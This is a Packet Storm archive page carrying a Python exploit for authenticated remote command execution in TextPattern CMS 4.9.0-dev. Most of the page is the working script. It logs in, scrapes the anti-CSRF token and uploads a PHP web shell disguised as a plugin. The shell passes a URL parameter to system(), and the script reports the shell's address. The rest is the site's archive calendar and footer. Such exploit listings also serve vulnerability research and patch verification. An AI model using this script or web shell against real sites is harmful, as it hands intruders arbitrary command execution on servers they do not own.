exploit the possibilities

TextPattern CMS 4.9.0-dev Remote Command Execution

TextPattern CMS 4.9.0-dev Remote Command Execution
Posted Jul 4, 2021
Authored by Mevlut Akcam

TextPattern CMS version 4.9.0-dev authenticated remote command execution exploit.

tags | exploit, remote
MD5 | 490288a5ae1455a8f0c5789ec5202fa8

TextPattern CMS 4.9.0-dev Remote Command Execution

Change Mirror Download
# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)
# Date: 07/04/2021
# Exploit Author: Mevlüt Akçam
# Software Link: https://github.com/textpattern/textpattern
# Vendor Homepage: https://textpattern.com/
# Version: 4.9.0-dev
# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3


import requests
from bs4 import BeautifulSoup as bs4
import json
import string
import random
import argparse


# Colors
RED="\033[91m"
GREEN="\033[92m"
RESET="\033[0m"

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
args = parser.parse_args()

URL=args.url
uname=args.user
passwd=args.password

session=requests.Session()

def login(uname,passwd):
data={'lang':'en','p_userid':uname,'p_password':passwd}
r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

if r_login.status_code == 200:
print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)
else:
print(RED,f"[-] Login failed",RESET)
exit()

def get_token():
print(GREEN,f"[+] Getting token ",RESET)
r_token=session.get(URL+"/textpattern/index.php?event=plugin")
soup = bs4(r_token.text, 'html.parser')
textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]
textpattern = json.loads(textpattern)
return textpattern['_txp_token']

def upload():
file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))
file={
'theplugin':(
file_name+".php",
"""
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus>
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
</pre>
</body>
</html>
<!-- """+file_name+" -->"
),# The file_name is used to verify that the file has been uploaded.
'install_new':(None,'Upload'),
'event':(None,'plugin'),
'step':(None,'plugin_upload'),
'_txp_token':(None,get_token()),
}

r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

if file_name in r_upload.text:
print(GREEN,f"[+] Shell uploaded",RESET)
print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)
else:
print(RED,f"[-] Shell failed to load",RESET)
print(RED,f"[-] Bye",RESET)
exit()


if __name__=="__main__":
login(uname,passwd)
upload()
print(GREEN,f"[+] Bye",RESET)

Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close